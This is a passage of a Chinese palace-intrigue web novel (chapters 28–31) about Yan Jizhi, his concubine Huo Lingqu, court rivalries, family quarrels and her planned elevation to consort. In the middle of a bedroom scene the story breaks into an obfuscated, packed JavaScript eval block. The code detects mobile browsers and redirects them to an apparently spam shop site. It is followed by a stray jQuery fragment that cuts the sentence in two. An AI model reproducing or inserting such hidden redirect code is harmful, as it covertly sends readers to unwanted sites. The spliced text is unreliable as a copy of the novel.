若非我立得住,十年前她的坟头就已经长草;我若向着她,她还能有命活到现在吗?可这道理就相当于你告诉霍蓁蓁:长姐我做贵妃并且不让你做皇后是为保住你的小命,你看霍蓁蓁会不会恨得要拿刀捅死你?” 霍灵渠靠向他的肩头,心忽轻忽重:“我祖父能舍掉亲孙,你真有把握吗?” “此事起因、非要闹着强抢后位是兴献侯夫人母女。”晏霁之说,他语毕,雅间突然静得落针可闻,良久,霍灵渠呢喃:“明年,你若累了,也去南海找找天涯海角吧。” 晏霁之抱着她没接话,只是也没按住心底的念头悄然在脑海中冒话:独自…未免孤单。 积雪未化,高悬云端的金乌就在数不尽的雪垛中染红偏西,世子爷的马车驶进英王府,晏霁之迈进他在前院的外书房,刚坐定饮半杯热茶,小厮在书房外禀告四爷求见。 四爷晏琼勋和嫡兄关系尚可,他走进书房里也懒得整虚的,利索地开门见山,大通话讲完看嫡兄沉默,补充道:“二哥要是嫌少,你尽管直说,反正都好商量。” “如若我将来真能做国舅,是否要拿到好处才捧妹妹都无所谓。” “这么说,二哥你答应了?”晏琼勋乐起来刚想商量下一步就被嫡兄甩个严厉的眼风,轻咳声摸摸鼻子做恭敬状:“二哥你吩咐,我全都听你的。” 晏霁之端起茶盏再抿口茶,提示道:“宫中珍昭仪是陛下生母芮贤妃的亲侄女,授康二十四年即入潜邸,今年才生出位公主,你以为是因何故?” “她肚皮忒不争气呗。”晏琼勋嘲笑,然后就被嫡兄像看傻瓜般看着自己,迟疑着辩解:“难道不是吗?她熬八年才生个女儿,还能算她好生养吗?” “你当皇帝是摆设吗?”晏霁之没好声训道:“忠毅伯府在陛下御极前对陛下冷淡,若非陛下要遏制霍家而有意抬举芮家,珍昭仪到死都别指望能生养。” 晏琼勋心头咯噔,将信将疑道:“从未听闻她被赐避子药,这要是真的,八年啊,珍昭仪和忠毅伯府不早就闹起来了?” “你回吧,这月二哥都与你没话可说。”晏霁之嫌弃赶道:“还有我们在书房里的谈话,你敢带出这间屋只言片语,仔细我扒掉你的皮。” “……”晏琼勋憋屈地起身离开,甭提多郁闷了,他就说嫡兄脾气差。 听到关门声,晏霁之视线缓缓落向放在书桌中央的信纸,淡漠想:他可真不相信徐侧妃和徐家会没有过河拆桥的心思,如若真能大功告成还得谋划除掉他才是最终想法吧。 雕栏玉砌泛起碎金,薄暮光辉给纯白的积雪披上件昏黄外衣,夕阳在天际绽放最后的美丽普照大地,人间烟火已然星星点点燃起,在黑暗围拢之际波澜不惊地撑起世间明亮。 零碎黯淡小星陪伴弯月散布苍穹,寒夜积冷,屋檐下只剩盏盏灯笼相依守候。 屋内暖和得很,霍灵渠洗漱沐浴后单穿件丝薄的浅粉寝衣,她拿巾帕擦擦沾湿的鬓发,绕过屏风时看到晏霁之已经躺在紫檀木大床里,不由怔住,愣了会儿,倏然想明白她觉得的尴尬和不自在最主要在何处。 赶他走吗?好像是刻意矫情,她还顶着流光姨娘的身份住在英王府,他们又同床已久,只因把彼此心知的身份挑破之后就讲求男女有别,是否可笑? 况且昨晚最初挑明身份后她就没拒绝,再者霍灵渠对他内疚有愧,思来想去都没必要。她深深呼吸调整心态,放掉巾帕,走到床榻前放帐幔进床铺。 至于挑明身份后即划清界限搬出英王府,这想法还真没在她脑海里闪现过;哪怕想过,毕竟她还有层细作的身份在,想走都不可能说走就走,何况既要进宫,何必再折腾? 床榻里的四条锦被全都叠整齐堆放在最里侧,霍灵渠抱过床锦被铺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459220|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被窝,给他盖丝被时这男人还若有所思,推他道:“想什么事这般凝神呀?” 闻言,晏霁之伸手臂揽她入怀,半真半假道:“想~在你进宫前我们该怎样尽兴?” 霍灵渠难得没脸红,好意劝说:“说来你是该给自己找一两个侍妾,你惯挑剔的,可能一两月都挑不好,若是等到我离府之后再挑就怕会有些慢了。” “你倒是会为我着想。”晏霁之冷哼:“谁六岁时大言不惭说想要一生一世一双人?” “六岁时我自己还懵懵懂懂,哪能懂呀,这话是……”霍灵渠看他眼,抿唇唇低语:“是贵妃教我的,你姑母晏贵妃。” 晏霁之愣了愣恭维:“按照你这标准,你家给你挑中嬴忱璧,你就接受了?” “是姑母给我挑的。”霍灵渠不带情绪回忆过往:“赐婚圣旨出来,爹爹和姑母都吵架了,爹爹反对我嫁进皇室,还跟我说要把这赐婚给破坏掉,重新给我挑丈夫。” 晏霁之讶异:“当年你爹没同意你的亲事,是你姑母越过你爹做主吗?” 霍灵渠嗯了声,想起来:“进宫前我应该先和我爹相认吧?” “在册封贵妃的宫宴上重逢才震撼,你爹见到你必定当场就能认出来。”晏霁之低头,指腹划过她花瓣般红唇,不掺半点暧昧仿佛更像种新奇尝试:“我是不喜以唇相触,可你闹起脾气来犯忌讳也不是一两回,今夜帮我试试底线如何?” 霍灵渠仰头,视线相触时微微脸颊发烫,挑明身份再亲热到底有点羞赧;她定定心神,抬手捧住他的脸颊,吻上他的薄唇。 他们亲吻次数不多好歹也有过几回,且每回都是霍灵渠生气而想故意恶心他,她逐渐淡然反而床帏里渐趋灼热,晏霁之说不清想放纵还是别的,总之是很快化被动为主动。 一夜颠鸾倒凤。 天际堪堪露出鱼肚白,庭前忙碌身影不辍,沸腾的热水浇过平整的青石板路冒起白烟,湖面结成的薄冰敲碎打捞起扔向草坪;严寒隆冬将近,每日清早除冰防滑事项渐成惯例,都城里热闹繁盛的夜市也开始萧条。 黄昏下衙门,晏霁之往仙客来酒楼赴约,跨进包厢门槛,他脱掉狐裘大氅递给屋外小厮,伸手弹弹落进官袍里的寒气,他再往屋里走,走到酒桌前站定,未坐。 “薛晏两家已经快势同水火,我与驸马爷之间还有事情可聊吗?” 端坐在圆桌前的锦衣男人眉眼阴鸷满脸戾气,正是乐邑公主的驸马爷薛述聪,他冷笑:“被庶兄戴绿帽这种奇耻大辱都能忍,你还是不是个男人?” “毕竟父亲替他给补偿了,我家的情况你也清楚。”晏霁之拉开玫瑰椅落座,闲侃道:“不是说张神医有把握,慢慢调养必能治愈,你急什么?” “哼!”薛驸马冷冷一派桌,怒声道:“我要晏明潜生不如死,一句话,合作吗?” 晏霁之慢条斯理地执酒壶倒杯酒喝,品味道:“秋露白,味道纯正,可惜驸马心浮气躁不适合饮此酒,将来有机会我们再共饮不迟。” 语毕,晏霁之起身离开,驸马爷薛述聪也没出言留客,端起面前酒杯饮尽后摔杯,下刻包厢里的内门被打开,走出来位年约二十五六岁、身穿浅蓝棉袍的疏朗男子。 “英王世子不会阻碍您行事,还会在背后给您推波助澜,驸马爷放心。”他叫管三弦,曾是薛驸马的幕僚,只是他生性洒脱、志不在朝堂且不喜被束缚,因此约定好只效命一年,这回是听闻薛驸马出事而特意进京探望。 “要是一点补偿就能咽下这种奇耻大辱,我看他都不用做男人了!” 管三弦附和称是,继续给薛驸马出谋划策定计报复,又连日约见各方可拉拢的势力包括顺郡王世子,这般急迫倒也不全是因为驸马爷火急火燎要报仇,他也得在风雪阻路前离京,故而任务完成,他即要离开京城。 薛驸马亲自送到城门前,还真有些不舍,哪想得到这个深受他器重的前幕僚出城后并未直接返乡而是绕两道弯转到了城外张神医的草庐;当然,即使被他知道了,也会被糊弄。 飘雪漫天,晏霁之撑伞走进草庐,管三弦站在廊下等候,愉悦的笑容中自有恭敬:“少主。” 29. 第29章 草庐清净白雪素洁,茫茫天地间,一袭雪貂毛长袍从风雪中进来的男人分外如谪仙。 张神医靠着柴门瞥过眼他这副装模作样专骗人的臭德行,骂声黑心缺德的混球,再扔俩白眼就躲进草庐里。管三弦接过伞和竹篮,憋笑指指屋里:“生气好几天了。” 晏霁之脱掉雪貂毛外袍和手套,从竹篮里取出包烧鸡的油纸包,捧着烧鸡进屋献殷勤:“百味斋刚出炉的烧鸡正香呢,徒儿亲自排队给您老买的,师傅赏脸尝尝?” “你个混球!这种损招你都使得出来,你说你缺德不?自己缺德就算了,还非要拉着老头我陪着你个混球耍缺德,老头我一辈子的清誉都要被你个混球给毁了。”人家请他治病,他被黑心徒弟连累地只能暗中让病患继续不能人道,张神医能不生气吗? “请薛驸马清心寡欲一年半载而已,还可助他养生益寿,有何不好?”晏霁之打开油纸,扇扇烧鸡诱人的香味,笑问:“师傅真的不尝尝吗,凉掉可就不好吃了。” 张神医气恼地劈手夺过烧鸡,虽然生气也不乏正经:“兜这么大圈算计薛驸马,又让堂屋里那小子费心费力帮薛家谋划对付自家,你到底是和庶兄有仇还是想给自家找麻烦?” 被裹棉被里痛打顿会伤重患隐疾,怎么可能?! 晏霁之将管三弦派到薛驸马身边做幕僚伊始就在暗中给他用药,即将起效前安排他回京找他的外室,再派人在那宅院的日常用水里下重剂,同时策划让囚犯在当晚越狱。 作为皇帝找麻烦的回报,刑部大牢那批西南叛乱匪徒是嬴天漾特意送入京,晏霁之正好能控制,接应人手亦在掌控中,哪怕晏明潜没有多管闲事都逃不掉。 “我欲给父亲找麻烦又如何,师傅想劝我磊落还是要劝冤家宜解不宜结?” “兔崽子,一言不合脾气说来就来,你那小妾得多好脾气才能受得了你。”张神医糟心地撕只鸡腿吃又撕只鸡腿给黑心徒弟,晏霁之嫌弃:“我是个文雅的男人。” “呸!真是够了,滚,别堵在师傅面前影响老头吃烧鸡。” 晏霁之淡定颔首向师傅告退,走回草庐堂屋,看见管三弦一样样地喝小酒吃花生啃烧鸡,皱着眉走到桌前吩咐:“雪停后你去滁州,隐在幕后查钟家,任何时候都别现身。” “少主,您答应过会考虑明年带我去南海玩玩,我盼望好久了。”管三弦有些哀怨。 至于为何称呼少主?并非还有主公压着,是晏霁之暂不喜主公、主人、主子这些称呼;连个称谓都要筛选,真是够够得了,不然霍灵渠也不能说他惯挑剔。 “流光她明年无法出海,不去了。”晏霁之计划得好,一手安排挑起自家和薛家冲突,他自顾带宠妾出南海;可惜计划再好也不及变化,明年他连宠妾都要没了。 管三弦第一个念头:“流光姨娘有身孕啦?” “没有。”晏霁之拉开长凳坐,交代道:“佟尚书的表面文章尚可,自家和岳家做生意不会落明面话柄,做假账避税应该不会有,但凡事没绝对,留个心眼。支配的人手和银两,四忍会在年前从润州调拨给你。” 他的外祖父和外祖母皆为滁州城商户出身,四十年前他外祖父科考高中探花走入仕途,挽回濒临败落的家业;成功将女儿们嫁进顶尖权贵家,明面由弟弟打理实际亲自掌握的老家生意如火如荼,十三年前跃居滁州首富,又做到正二品礼部尚书位置,多了不起。 管三弦边表示知道记下边拿绢帕擦手顺便问疑惑:“少主,我就不明白,佟家成为滁州首富已经十多年,王妃还总要盯着您的私库作甚?” “佟家大富之后的银两又没流进王妃手里。”晏霁之平淡答道,管三弦反驳:“可王妃搜刮您的私库多半都会转送给娘家。”这娘家难道还穷吗? “父母教得好,大小事皆抓紧才能养成习惯;现实也摆着,英王妃的夫家和她妹夫家实在要比她的娘家煊赫显贵。” 晏霁之再交代些事项便去向师傅告辞,穿戴好绒毛手套和雪貂毛外袍,撑伞步入风雪中。管三弦送到草庐外,目送白茫茫的身影融进风雪中消失,他忍不住叹息摇摇头。 隔日雪停,管三弦不再逗留,向张神医告辞,策马扬鞭奔赴滁州。 黄昏余晖落尽,一盏手提灯笼流连过英王府的青石板路来到英王世子前院书房外,四爷晏琼勋特意多打遍腹稿才进屋。他为彰显风骨专门多熬几日,被姨娘和妹妹催促得快烦死才找嫡兄,哪想傍晚见了面,嫡兄非得让他等戌时再谈,真是会指使他。 “上月底公中发月钱就漏掉流光小筑,本月的柴碳棉衣份例也没拨,还是流光姨娘掏体己银两给下人们补上才没闹出乱子;今早二哥刚出府,王妃便又派人去搜刮流光姨娘的妆匣。流光姨娘婉约恬淡,这些事怕难以对二哥你启齿。” 但嫡兄肯定知道只是不想再和亲娘闹僵而隐忍退让,晏琼勋心里哼哼,故意道:“府里还在传钟姨娘这两天喝的燕窝是由公中拨给,虽说钟姨娘以前也喝燕窝,但是她自己掏银两或者王妃私下补贴,现在居然明目张胆走中馈的账,像什么话,还有点规矩体统吗?” “府里看我和王妃笑话,很乐吧?”晏霁之参照棋谱,平静捏颗白子落下。 晏琼勋加重教唆:“哪会啊,奴婢们最多替世子爷抱不平,就算二哥你生辰后带流光姨娘出府听曲是故意跟王妃打擂台又怎样?凭王妃做的这些事换谁能忍,但凡她还有一点点疼爱亲儿就不可能会这般不依不饶的,不知道的还以为王妃是二哥你的继母呢。” 晏霁之摆好最后颗棋子,指指棋局问庶弟:“我摆的这副棋局,如何?” “二哥棋艺高超,此局当然甚妙。”晏琼勋走上前两步,随意瞥了眼还没看清楚就夸。 “好,你将此棋盘带回去给四妹妹,一旬内她能解出白子黑子各自胜法,我再考虑。棋局对弈最易考验智谋城府,如若她自己没点成算,真进宫也只会是场空欢喜。” 晏琼勋:“……”好像有道理,但姨娘好像只让妹妹背诗插花学琴,没研究过棋艺? 书房门开闭间灌进阵冷风,黄花梨罗汉床旁边高几摆放的蜡烛被吹得忽明忽暗,晏霁之保持着庶弟离开时的坐姿,阴翳爬至他的眉梢,携着一种山雨欲来风满楼的危险气息,他冷冷念着:“敝邑有亡,无以加焉①。” 不知是他高估了自己的忍耐力还是他当真已经容忍到极点,奴婢禀告时他明明很习惯,再被庶弟提起竟会生出股忍无可忍的厌恶,二十年积压在心的怨恨委屈纷至沓来,犹如泰山压顶般把他放在心底最深处的母子情压成了齑粉,风一吹就散了。 曾构想过许多回,总以为会令他对亲娘忍无可忍必然是出于英王妃搅得晏家支离破碎,未料居然会在这么不经意间,因为一件不足挂齿的微末小事?!呵,哈哈…… 烛泪肆流,夜晚在光与火的交汇中拖进万籁俱寂。 屋门打开棉帘被掀起,又灌进阵冷风,晏霁之没察觉,忽然手被握住,他垂眸扫过眼,抬眼侧头看到张熟悉又陌生的倾国祸水容颜,凭直觉下意识问:“你怎么来了?” “亥时二刻都没见你回来,猜到你忙可能要熬夜,来给你送点宵夜。”霍灵渠温柔浅笑,真实情况是她犹豫是否还该完成对润州的指令,难得碰到晏霁之没回后院,她 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“爹爹和姑母比大伯小七岁还是龙凤胎,祖母偏心偏得毫不掩饰,祖父有时气极就骂祖母黑心眼瞎生出两只王八玩意儿还揣在心窝里当宝贝疙瘩;祖母就反驳说她好歹敞亮,不像祖父明明也偏心却非要虚伪佯装。” 霍灵渠歪头笑:“我爹自己都说他冷心冷肺,姑母自私自利更是父母兄长们都认同的,可我印象中的他们和乐融融骨肉情深,记忆中的家温暖快乐,是我最深的眷恋。” 各自自说自话,晏霁之偏真感受到安慰而心情好些:“终于不打算再劝我了吗?” 迎着他含笑的眼神,霍灵渠美丽的剪瞳洋溢温暖,没犹豫道:“她没有底线,当家主母故意不给下人们发月钱份例已经很上不得台面,我想不到她还能再突破。 生气要打亲儿的脸、想逼迫你服软,她就能肆无忌惮伤害亲骨肉,我真的不知英王妃是否只想保住她身为母亲对儿子的威压?” “呵呵,可不就是没点底线吗?!现在能走中馈的账给钟姨娘拨燕窝鱼翅,再往后,她是不是还能逼着我给钟姨娘的孩子分家业?那么,她还有什么事情做不出?” 大概是因为最后丝残念化尽悲凉已消散在温暖的怀抱里,晏霁之讽刺地笑起来,笑得如仿若置身事外的局外人:“二十年不堪回首,我也真的不知她是把我当做亲骨肉还是当做该由她拿捏、给她娘家攫取利益的傀儡木偶?” 此言太重,霍灵渠不好接,握住他的手说:“已经子时了,夜寒伤身,早些安置吧?” 晏霁之抬手抚她的脸,温声道:“休沐日,我陪你出府挑首饰?” “好!” 深夜凄寒相加,两人相携返回流光小筑,热手炉传递给掌心暖流倒也还能挡冷意侵袭。 逢休沐,虽然雪漫长空,晏霁之也没改安排,带霍灵渠出府选首饰,霍巨浪有事找他都被他喊到首饰楼里相谈,惹得霍巨浪赴约时都想问他句:你是不是故意的? 霍灵渠带丫鬟们在一楼的包厢里挑玉镯头面,晏霁之在二楼的雅间候客,见到人来了,他笑言打趣:“你什么事这么隆重还特意挑休沐时再约我专门谈,这种大雪天就该留家里,看看被你给害得,我都只能带我家流光出府了。” “是你非要约在外面。”霍巨浪喝下半杯热茶,喘口气闲侃:“可别说你没别有居心?” “听说蝶贵人被褫夺封号降为从五品才人,”晏霁之揶揄:“当真?” 霍巨浪想当场捂脸的心都有了,家里养个活宝,真不愁霍家没热闹留给外人看。 30. 第30章 后宫突然降下两道降位旨意还是将皇帝生母的娘家侄女珍昭仪降为珍修仪、太后的娘家侄女蝶贵人夺去封号降为霍才人,初闻时谁人不吃惊? 打听清楚前因后果,朝堂后宫众看客都乐了,不得不赞声霍雄鹰可真是个人才。 针对近期珍昭仪和蝶贵人个比个闹腾,皇帝问霍雄鹰应该如何令她们二人消停下来,然后这位霍三爷就给皇帝建议降位;没成想正徽帝真采纳并当即颁圣旨还顺势令霍雄鹰去宣旨意,他呆愣片刻后兴奋了,乐颠颠地带帮太监去传旨,霍太后宣见他时还振振有词。 “姑母,霍鹣娇她就是欠教训!她死活闹着退亲要进宫,我可是举双手双脚反对的,再说就她进宫这两年的折腾劲儿,特别是近俩月上蹿下跳作妖得离谱,反了她了,再不狠狠削顿还能得了吗?反正我没错,姑母你别想维护她!” 霍太后差点被亲侄儿气得心口疼:“自家起内讧让外人看尽笑话,还敢说没错?” “您就不该同意由她进宫,前年菊花宴上,姑母你挑六妹充盈后宫都比挑她强百倍啊;后宫遍地是美人,她那点姿色怎么可能能掩盖掉她的浅薄鄙陋?姑母你应该相信我的眼光,就算太阳会打西边出来,陛下都不会喜欢她。 她在后宫只会给咱家拖尽后腿,就该狠狠管教管到她能安分为止;如果因为怕被外人看笑话而任由她折腾作妖还要将她捧到高位,这不太因小失大了吗?再说了,蓁蓁还没入宫,她已经闹过几回,将来她得和堂妹掐成什么样?趁早让她消停,咱家才能安稳。” 顺利说服太后姑母,霍雄鹰出宫回家继续大杀四方,驳倒一众要质问他的家人,末了得到叔叔霍漓江评价:侄儿你做殿前侍读,陛下真是挑对人了。 想想霍鹣娇的俩同胞姐弟还有他们生母娉姨娘那闹腾劲儿,霍巨浪绝对相信到过年他家都别想消停,再喝口热茶顺顺气,叹道:“当真!”随即话锋陡转:“但以我们现在的关系你该叫我声大舅哥,也当真吧?” 清楚对方来意,晏霁之玩味问:“这么痛快就把我认成妹夫了吗?” “我愿意给妹妹找个安稳的归宿,你愿意放手吗?”霍巨浪反问,晏霁之亦是反问:“如果霍家能给出足够的价码,你怎知我会不愿意?” “眼线禀告的是你和流光姨娘如胶似漆,难道四年来你在流光小筑只是闲话家常吗?”霍巨浪语气平平可目光相当锐利:“你得下多大的决心才会碰灵渠,什么原因才能驱使你下这种决心,难道是想从霍家拿好处而非你喜欢灵渠吗?” 呵…喜欢,喜欢啊?!如此轻飘飘地就被戳穿了。 若非晏霁之已经审视过自己,此刻真不知会狼狈多点还是会否认多点,他自嘲笑笑:“是你看得透彻还是我当局者迷吗?买流光时我没怀疑过自己的心思,决定和她做真夫妻时我都没想过,只是对那批亲戚放手了而已。” “当局者迷,旁观者也迷糊了。”霍巨浪摇摇头,何尝不自嘲:“我清楚你眼光多高居然都没怀疑过这当中有问题;若非流光就是灵渠,即使这位行首再迷人,单凭她是青楼出身,你就不可能买她。” “呵,正解!”晏霁之无言辩驳,罕见地真心真情流露:“还有,哪怕没喜欢也没有动心,但我对她绝对有所不同,否则我也不会买她,可笑这么多年我都不自知。 况且若非日久生情,我真动心了,我绝不会碰她。枉我自负聪慧,竟然这么多年都不曾反思过自己对她的逾越实乃异常,是我对男女感情太迟钝了吗?” “是谁少年轻狂时为玉氏藏珠要死要活,你还能迟钝啊?”霍巨浪缓过心态,气骂道:“童年就对我家灵渠动心思了吧,有种别耍阴招。 能决定对那批亲戚放手,你怎么不知守礼数再通知我接妹妹走?作为你照顾灵渠的谢礼,你想从霍家拿多少好处会没有?有本事光明正大找媒人到霍家说亲。” 晏霁之无语:“我傻吗?” “是啊!”霍巨浪当即冷笑,怨气颇大:“你要是能守住规矩,娶我三妹能有你的份儿?你当我愿意认你做妹夫吗?” “有话直说。”晏霁之告诫自己忍住别呛,霍巨浪深呼吸平复再问:“你清楚灵渠在你身边四年都没要报仇的动静又没有要跟你生儿育女的打算、她到底是什么心思吗?” “她真想回霍家,没人能拦住她;若非是家族和父亲而非报仇雪恨在她心里最重,她想取兴献侯夫人的命需要隐忍吗?这点,你我应当心照不宣。” 晏霁之声音忽轻:“我是不能理解她心里该有多少爱才能看淡毁掉自己人生的恨?” 霍巨浪涩然垂下眼睑,苦笑声抹把脸,说:“我想让你带灵渠离开,在做地方官升无可升之前都别回京。你告诉我妹妹,踏实跟你过日子;仇,二哥会给她报。” “舒窈谎称是流光的仰慕者给她送银票和补品,她不知那仰慕者是谁但想送份回礼;等会儿我把她挑好的回礼交给你,你拿给舒窈。” “好,”霍巨浪眼酸:“我尽快给灵渠备好嫁妆,拿到嫁妆,你就给我妹妹正妻名分。” 晏霁之弯弯唇,以茶代酒举杯扬笑:“我和她从来是她不想要孩儿,她真愿意跟我到老,我们的孩儿都能喊你舅舅了。” 霍巨浪跟他碰杯,冷哼道:“这四年已经够便宜你了,还想要孩儿,美得你啊!” 一楼包厢里,霍灵渠挑中三套首饰,一套价值三千两白银的红宝石头面,一套价值千两白银的珍珠头面和一对价值千两白银的芙蓉粉玉手镯,也就是说,晏霁之喝完茶下楼,等待他的就是要掏出五千两银票付账。 “败家娘们儿,”他对霍巨浪抱怨:“我让她挑五千两以内,她可真不跟我客气。” 霍巨浪呵呵:“要不我帮你付了?” 晏霁之果断付出五千两银票,接过婢女捧着的木匣,见是套最贵的红宝石头面,合上木匣将回礼递给霍巨浪,待他先离开再吩咐朱楼去包厢里接姨娘出来。 率先走出首饰楼的霍巨浪在坐在马车里掀着车窗帘注视,视线穿过簌簌飘落的鹅毛白雪和两三丈远的间距遥望见流光姨娘的真面目,他不自觉红了眼眶,英王府的马车消失在视野中许久,他才回过神。 宽阔的主街道人烟清冷,各式露天小摊贩绝迹大半,比雪沉的重印踏过积雪覆盖的青石板留下深深浅浅的印迹没过多久又能被落雪覆盖,唯留望不尽边际的白雪皑皑在眼前。 怕打滑,车夫没赶车而是徒步拉马车前行,来到乌台巷口前,朱楼领个撑伞的小丫鬟踩着没过脚踝的积雪往巷子里去,找到目的宅院敲开院门,让开门的老妈子请主家出来,稍作解释,亲自把珍珠头面交给正主再往巷外走。 霍桑柔没多想,回屋看姐姐给她挑的新年礼物,打开木匣看到有张纸条混在珠钗中,她拿出一瞧,纸条上写:找七娘通禀主公,形势有变,大相国寺面谈。 在乌台巷前的华盖马车重新启动,霍灵渠放下车窗棉帘时从窗柩掉落团雪球滑入她脖颈里瞬间一阵冰冰凉刺激,她拿手绢拍掉雪球都没清醒多少,挪回晏霁之身侧,靠他怀里小憩,声音困倦:“到王府你再叫我。” 晏霁之把女人抱抱好,拿过狐裘大氅给她盖,就这么短的工夫,怀里的人已经睡着;他不得不感叹难怪她总要劝他早些安置,寅时末到辰时初都歇息过了还能困成这样,唉。 原想在酒楼用顿午膳再返,看来是不可能了,晏霁之看看怀里的人,靠车壁闭目养神。马车驶进英王府,霍灵渠还睡得香甜,他略迟疑下没叫醒她,吩咐长随去传轿来。 坐轿从前院回到流光小筑,晏霁之再抱着她进寝屋,刚想让婢女们来服侍姨娘,他想想屋外冰天雪地就没抵住懒散侵袭,干脆陪她补眠,然后他俩到天黑都没再出屋。 夜晚黑如没稀释过的墨灌在苍穹,凛冽朔风乍起,猛烈的风势吹得雪片伴梅花瓣乱舞、吓得树枝瑟瑟抖动也没撼动夜空漏出半丝星光,呼呼咆哮不免给此寂寥夜晚平添凄凉。 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他辩解道:“不是不愿意而是在我心里舒窈相当于半个男人,我是把她当做哥们兄弟;让我娶她与让我娶霍雄鹰没多少区别,哪怕我不挑剔,我都不能答应这种事吧。” “荒谬!”霍灵渠气得打他:“说得叫什么话呀?” “实话,”晏霁之抱住女人正要哄被屋外咆哮的北风引动:“听风声,明早应停不了。” “小寒才刚过呢,浇浇热水融雪都结成冰了。”霍灵渠拉拉锦被,好脾气地跳话题:“嗳,前天腊八都没见你提早回,最近衙门很忙吗?府里应该快要拟礼单备年礼了,往年年底公中铺面田庄账目结算备年礼都不安生,今年怕也难免。” 晏霁之平静嗯声,歇够了,抱她赴巫山继续春宵。 屋外扫荡四野的寒风果然咆哮至天明未停,清早金乌躲在云层背后不出,树梢缀满冰棱,白雪纷纷在肆虐狂风助攻下浑似团厚重白雾混淆着方向与听辨,隆冬已然伸出最尖利的刺向世人昭示严寒的无情肃杀。 一旬的限期拖到第九天,晏琼勋尽量装成若无其事样带两副棋盘找嫡兄让他检验。 这回嫡兄庶弟俩在流光小筑的花厅会面,从烧着地龙暖洋洋的主屋跨进只摆碳盆的花厅,晏霁之嫌不够暖而没脱雪貂外袍,他紫红锦袍的腰间系着只玫瑰香露的香囊,香味怪好闻,这庶弟还真没眼色地问了:“二哥你怎么突然喜欢系香囊了,这是流光姨娘的香囊吧?” “黑白棋子的各自胜法当真是四妹妹单独解出?” 晏霁之直接无视他的蠢货问题,至于这两盘棋都不是同副棋局更遑论他最初给的棋面,应该是拿他当眼瞎才能认为有这么多破绽他都会瞧不出吧? “当然了,”晏琼勋挺挺腰杆尽量显自然,他是反对作假可拗不过生母,只能装腔作势:“四妹废寝忘食钻研出来的,二哥你难道还怀疑我们骗你吗?就像二哥你说的,妹妹要是不中用反会累及自家,我们盼望妹妹能有出息也得量力而行嘛。” 晏霁之捧起茶盅喝口祁红茶,悠哉哉问:“霍雄鹰给陛下的降位建议,你认为好吗?” 难道你认为不好吗?晏琼勋斟酌道:“霍家既吃闷亏又要起内讧,陛下不费吹灰之力就将霍家一军,霍雄鹰简直是像在吃里扒外的奸细,这有何不好吗?” “那么珍昭仪被降为修仪、蝶贵人被降为才人之后,单论后宫,你认为会怎样收场?” 真是比先生考校功课还让他头疼,晏琼勋郁闷反问:“都已经以降位做惩处,难道她们还敢再闹吗?再闹不是会更惨吗?” “言外之意,四弟你认为降位就是定局?”晏霁之站起来,淡笑道:“我说降位是开始,珍修仪和霍才人不折腾到真正惹陛下龙颜大怒绝不会轻易消停。”并决定:“那就以此做赌,你赢,我帮忙说服父亲给四妹争取明年的贵妃位;你输,此事作罢。” 晏琼勋心里有点气短但面上绝不输气势:“好!” 31. 第31章 多日鹅毛大雪翻飞将五彩斑斓的红尘俗世绘染成雪白,终放晴天,白雪覆红梅传冷香,不畏严寒的孩童们裹成棉粽欢欢喜喜打雪仗堆雪人,大相国寺前拜佛香客倍增。 霍灵渠身着玉色绣金线榴花袄裙外罩紫缎狐裘大氅,乌黑柔顺的秀发梳做最简约的长辫,她在大雄宝殿前脱掉氅衣给婢女,进殿在佛像前虔诚参拜过后走出大殿,由丫鬟服侍重新穿好暖和的狐裘大氅,抬脚去往大相国寺供给香客们歇息的厢房。 行至走廊尽头最里侧的厢房亦是她以往和妹妹见面惯选的厢房,她吩咐绿岫:“老规矩,我要在厢房里抄卷佛经,把笔墨和佛卷拿来,你们就去隔壁厢房里候着吧。” 婢女们屈膝应是,大丫鬟绿岫留下两名小婢女伺候姨娘,轻车熟路地带另外两名婢女去找知客僧,借来佛经笔墨和热茶水糕点,研好墨汁,她们退出此屋转去隔壁厢房。 厢房中有安宁心神的檀香,霍灵渠静心握笔落字,抄过半卷佛经,眼前忽然投下片暗影,她抬头看了眼,复而垂眸继续抄经卷,淡声说道:“看来隔壁厢房的婢女们不是被你派的人引开就是已经睡着了。” “本座实在学不来你们姐妹的无声交流,你传信禀告形势有变,要与本座面谈?当真是英王府形势突变需你面禀还是你没有拿到晏霁之与润州的书信账目往来?” “皇帝找到我,已经决定明年册封霍灵渠为贵妃。” “……”一袭玄色金丝绣斗篷的男人怔住了,不可思议问:“你说什么,嬴忱璧找到你,明年还要册封你做贵妃,你没在跟我说笑?” 霍灵渠放掉毛笔站起来,双手搭在小腹前,神情俨然:“没有。” 侥幸破灭,完全超出掌控的变故气得他握拳咬牙,压抑质问道:“他怎么找到你的?” “我是在乌台巷的小院里见到他,获知他决心册封我做贵妃彻底乱了心神,没问过。”霍灵渠话落,她这位主公恍然大悟般笑起来:“原来形势有变不是霍灵渠明年将会成为贵妃而是你想和我分道扬镳,对吗,贵妃娘娘?” “好聚好散,对我们大家都好。”霍灵渠默认,身披玄色斗篷的男人哈哈大笑,讥讽道:“我猜嬴忱璧向你承诺了吧,封贵妃只是暂时,过几年就册立你为皇后? 四年半前我承诺将来我大业得成会让你做皇后,你呢,你宁愿选择入风尘来打我的脸!你对我多狠啊,怎么不拒绝他?不想做我的皇后,就稀罕他?” “明年是正徽五年,明年你就三十岁了,男子三十而立,你还要在这条歧途上走多远,你就不能把不该有的心思放掉吗?”霍灵渠心累道:“你哥哥只能保你十二年,你想过——”话未尽被厉声打断:“你以为我安分守己,嬴忱璧就能放过我吗?” 霎时间厢房寂静无比。 霍灵渠低头坐回椅中,陈述个现实:“是你根本不想放掉皇帝梦。” 刚才还急怒的男人已经冷静下来跟她谈判:“霍家对北境的兵权垂涎多年,你祖父做梦都想要在死前把北境收进霍家囊中,绝不会因为你就放掉对北境的谋算。唯有我才会帮你,唯有我搬起石头砸自己的脚、赔了夫人又折兵。” 霍灵渠沉沉看向他,他冷冷道:“你还想多管闲事,只能靠我。” 